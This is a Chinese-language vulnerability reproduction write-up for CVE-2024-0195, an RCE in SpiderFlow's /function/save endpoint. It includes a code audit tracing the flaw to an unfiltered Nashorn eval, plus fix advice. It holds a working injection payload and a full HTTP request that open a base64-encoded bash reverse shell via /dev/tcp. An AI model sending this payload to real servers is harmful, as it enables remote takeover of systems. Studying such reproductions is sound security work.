【CVE复现计划】CVE-2024-0195

news2024/11/23 21:05:39

CVE-2024-0195

简介:

SpiderFlow是新一代开源爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。基于springboot+layui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞,攻击者可以构造恶意命令远控服务器

影响版本:

Up to (including)0.5.0 

EXP(反弹shell): 

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}")%3B%7B

注意: 这里的技巧为java Runtime.getRuntime().exec 获取反弹shell

具体可访问java Runtime.getRuntime().exec 获取反弹shell_p = r.exec(["/bin/bash","-c",-CSDN博客

漏洞复现: 

 参考spider-flow RCE漏洞分析(CVE-2024-0195) - 先知社区 (aliyun.com)

源码下载:

https://gitee.com/ssssssss-team/spider-flow.git

复现(春秋靶场):

进入环境进行抓包

修包改为:

POST /function/save HTTP/1.1

Host: eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 189

Origin: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088

Connection: close

Referer: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088/function-edit.html



id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}")%3B%7B

即可反弹shell 

代码审计 :

 在spider-flow-web/src/main/java/org/spiderflow/controller/FunctionController.java发现/function/save路径下调用了functionService.saveFunction()方法 这也就是上边抓包的路径

@RestController
@RequestMapping("/function")
public class FunctionController {

    @Autowired
    private FunctionService functionService;

    @RequestMapping("/list")
    public IPage<Function> list(@RequestParam(name = "page",defaultValue = "1")Integer page, @RequestParam(name = "limit",defaultValue = "1")Integer size,String name) {
        QueryWrapper<Function> select = new QueryWrapper<Function>().select("id", "name", "parameter", "create_date");
        if(StringUtils.isNotBlank(name)){
            select.like("name",name);
        }
        select.orderByDesc("create_date");
        return functionService.page(new Page<Function>(page, size), select);
    }

    @RequestMapping("/save")
    public String save(Function function){
        return functionService.saveFunction(function);
    }

    @RequestMapping("/get")
    public Function get(String id){
        return functionService.getById(id);
    }

    @RequestMapping("/remove")
    public void remove(String id){
        functionService.removeById(id);
    }
}

我们跟进 saveFunction()方法

public String saveFunction(Function entity) {
    try {
        // 对传入的数据进行过滤
        ScriptManager.validScript(entity.getName(),entity.getParameter(),entity.getScript());
        // 保存
        super.saveOrUpdate(entity);
        init();
        return null;
    } catch (Exception e) {
        logger.error("保存自定义函数出错",e);
        return ExceptionUtils.getStackTrace(e);
    }
}

里面有个validScript方法,就是通过ScriptManager.validScript()方法对传入的函数数据进行过滤,该方法可能会抛出异常 我们跟进validScript方法

public static void validScript(String functionName,String parameters,String script) throws Exception {
    new ScriptEngineManager().getEngineByName("nashorn").eval(concatScript(functionName,parameters,script));
}

里面居然直接有eval危险函数,首先,代码创建了一个新的ScriptEngineManager对象,然后从中获取一个名为"nashorn"的脚本引擎。接下来,通过调用eval()方法,将传入的函数名称、参数和脚本合并成一个完整的脚本字符串,并将其传递给脚本引擎进行执行。 

我们跟进concatScript方法

private static String concatScript(String functionName,String parameters,String script){
    StringBuffer scriptBuffer = new StringBuffer();
    scriptBuffer.append("function ")
        .append(functionName)
        .append("(")
        .append(parameters == null ? "" : parameters)
        .append("){")
        .append(script)
        .append("}");
    return scriptBuffer.toString();
}

这段代码的作用是接受三个参数 functionNameparameters和 script合并成一个完整的脚本字符串,并返回该字符串。 没有进行任何过滤,所以我们就可以构造RCE了

假设三个参数分别为wen,da,nh,最后返回的是

function wen(da){nh}

我们就可以在 script这里构造的恶意的java Runtime.getRuntime().exec 获取反弹shell

}Java.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}");{

 拼接之后就成为了下面代码 形成闭合执行 形成反弹shell

function wen(da){}Java.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}");{}

修复建议:

1.在拼接的时候对script进行过滤处理

2.打补丁 spider-flow: 新一代爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。

参考 :

SpiderFlow爬虫平台漏洞利用分析(CVE-2024-0195) - FreeBuf网络安全行业门户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1579489.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

最简单知识点PyTorch中的nn.Linear(1, 1)

一、nn.Linear(1, 1) nn.Linear(1, 1) 是 PyTorch 中的一个线性层&#xff08;全连接层&#xff09;的定义。 nn 是 PyTorch 的神经网络模块&#xff08;torch.nn&#xff09;的常用缩写。 nn.Linear(1, 1) 的含义如下&#xff1a; 第一个参数 1&#xff1a;输入特征的数量…

爬虫入门教程(一)

爬虫入门教程 1.什么是爬虫 爬虫是一种自动获取网站数据的程序或脚本。它可以自动模拟人类访问网站,获取网页源代码,解析并提取出所需的数据。 爬虫的工作原理类似于搜索引擎的索引程序&#xff0c;它们会按照预定的规则和算法在互联网上不断地爬取网页&#xff0c;收集信息…

蓝桥杯 交通信号 2022研究生组

问题&#xff1a; Dijstra算法变形题&#xff0c;有向边分正行和逆行方向&#xff0c;注意逆行的绿灯时间是正行的红灯时间。 这题的关键是理清从当前节点出发&#xff0c;到下一个节点是哪一时刻&#xff0c;理清这一点后&#xff0c;再跑Dijstra算法求最短路。 假设curr_t时…

STC89C52学习笔记(三)

STC89C52学习笔记&#xff08;三&#xff09; 综述&#xff1a;本文讲述了通过51单片机控制LED闪烁、流水灯、按键控制LED亮灭、按键控制LED实现二进制、按键控制LED左右移。 一、LED 1.LED闪烁 1&#xff09;LED电路原理 LED采用共阳极&#xff0c;当LED另一端为低电平时…

【CSDN活动】人工智能:前沿科技中的创业机遇与挑战

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 人工智能&#xff1a;前沿科技中的创业机遇与挑战一、AI技术的快速发展与应用拓…

KaiwuDB 乱序数据处理功能解读

01 背景一览 在时序数据写入数据库的场景中&#xff0c;由于存在网络延迟等问题&#xff0c;可能会出现需要写入数据的时间戳小于已写入数据的最大时间戳的情况&#xff0c;这类数据统称为乱序数据。乱序数据的产生几乎是不可避免的&#xff0c;同时&#xff0c;乱序数据的写入…

从概念到实践:揭开枚举与联合体在数字化创新时代的神秘面纱

欢迎来到白刘的领域 Miracle_86.-CSDN博客 系列专栏 C语言知识 先赞后看&#xff0c;已成习惯 创作不易&#xff0c;多多支持&#xff01; 在编程的世界中&#xff0c;枚举和联合体是两种非常基础且重要的数据结构。它们各自具有独特的特点和用途&#xff0c;为程序员提供…

Android Studio中查看和修改project的编译jdk版本

android studio中查看和修改project的编译jdk版本操作如下&#xff1a; File->settings->Build,Execution,deployment->Build Tools->Gradles 进入Gradles页面可以查看并修改project的编译jdk版本&#xff0c;如图所示

Open CASCADE学习|平面上的PCurve

曲面上的曲线PCurve&#xff0c;字面上理解即为参数曲线(Parametric Curve)。在几何建模中&#xff0c;PCurve通常被描述为附加在参数曲面之间公共边上的数据结构。从更具体的定义来看&#xff0c;当给定一个曲面方程&#xff0c;并且其参数u和v是另一个参数t的函数时&#xff…

企业微信认证后可以修改主体吗?

企业微信变更主体有什么作用&#xff1f;如果原有的公司注销了&#xff0c;或者要更换一家公司主体来运营企业微信&#xff0c;那么就可以进行变更主体&#xff0c;变更主体后才可以保留原来企业微信上的所有用户&#xff0c;否则就只能重新申请重新积累用户了。企业微信变更主…

SQLite数据库文件格式(十五)

返回&#xff1a;SQLite—系列文章目录 上一篇:SQLite 4.9的虚拟表机制(十四) 下一篇&#xff1a;SQLite—系列文章目录 ► 目录 本文档描述和定义磁盘上的数据库文件 自 SQLite 以来所有版本使用的格式 版本 3.0.0 &#xff08;2004-06-18&#xff09;. 1. 数据库文件 …

高级Java开发工程师手把手教你用AI人工智能帮你写JAVA代码实际案例一全网唯一

高级Java开发工程师手把手教你用AI人工智能帮你写Java代码实际案例一 一、前言 现在AI人工智能概念炒的很火&#xff0c;人们到处听到的讯息是AI人工智能颠覆我们的生活&#xff0c;或者是代替什么岗位&#xff0c;但是到底AI能帮助到我们什么&#xff0c;能给我们生活带来什…

总结SQL相对常用的几个字符函数

目录 字符的截取 substr() trim()、ltrim()、rtrim() 字符串的拼接 ||、 字符的大小写转换 upper(column_name):大写 lower(column_name):小写 字符替换 replace() 搜索字符 instr(column_name, substring_to_find,start,n_appearence) charindex(substring_to_fi…

基于SSM框架JAVA仓库管理系统源代码Mysql数据库(可当毕设,实训项目,设计大赛)

仓库管理系统实现的功能包括店铺管理&#xff0c;员工管理&#xff0c;部门管理&#xff0c;商品管理&#xff0c;权限管理&#xff0c;入库管理&#xff0c;出库管理&#xff0c;盘点管理&#xff0c;统计管理等功能。该项目采用了Mysql数据库&#xff0c;Java语言&#xff0c…

龙蜥社区「人人都可以参与开源」一次奇妙的开源之旅

前言: 3月17日&#xff0c;马斯克宣布开源Grok-1&#xff0c;这一举措使Grok-1成为当前参数量最大的开源大语言模型&#xff0c;拥有3140亿参数&#xff0c;远超OpenAI GPT-3.5的1750亿。 开源可促进技术高质量发展&#xff0c;让技术迭代更快&#xff0c;更能适应各行各业的发…

学习操作系统之多道批处理系统

1964年IBM生产了第一台小规模集成电路计算机IBM System/360&#xff08;第三代计算机&#xff09;&#xff0c;并为该计算机开发了OS/360操作系统&#xff0c;是第一个多道批处理系统。 多道批处理的运行机制&#xff1a; 多道批处理系统同样要求事先将多道作业存放到外存上并…

无人机倾斜摄影技术在智慧城市中的应用

随着智慧城市的不断发展和完善&#xff0c;新兴热门技术也不断崛起。无人机技术作为其中之一&#xff0c;具有操作简单、应用灵活等优势&#xff0c;受到了各个行业的青睐。现阶段&#xff0c;无人机技术与5G移动通信系统、人工智能系统深度融合&#xff0c;实现了无人机技术的…

优卡达节能科技给您解读2024第13届生物发酵展

参展企业介绍 苏州优卡达节能科技有限公司位于江苏省苏州市相城区&#xff0c;它脱胎于苏州化工机械厂&#xff0c;是专一技术研发生产螺旋板式换热器的厂家。广泛应用于冶金、焦化、纺织、医药、食品、机械、电力、环保、暖通节能及需要热量转换等工业。 公司具有具有多名研…

IRIS / Chronicles 数据结构备忘录

数据结构的内容主要涉及到索引和全局变量。 这部分的内容的问题在于概念多&#xff0c;和普通的数据库对应的内容也不太一样&#xff0c;需要花点时间了解。 networked items 有关英文的解释是&#xff1a; Networked items that point to databases that use padded-string…

LeetCode-移除元素

题目 给你一个数组 nums 和一个值 val&#xff0c;你需要 原地 移除所有数值等于 val 的元素&#xff0c;并返回移除后数组的新长度。 不要使用额外的数组空间&#xff0c;你必须仅使用 O(1) 额外空间并 原地 修改输入数组。 元素的顺序可以改变。你不需要考虑数组中超出新长…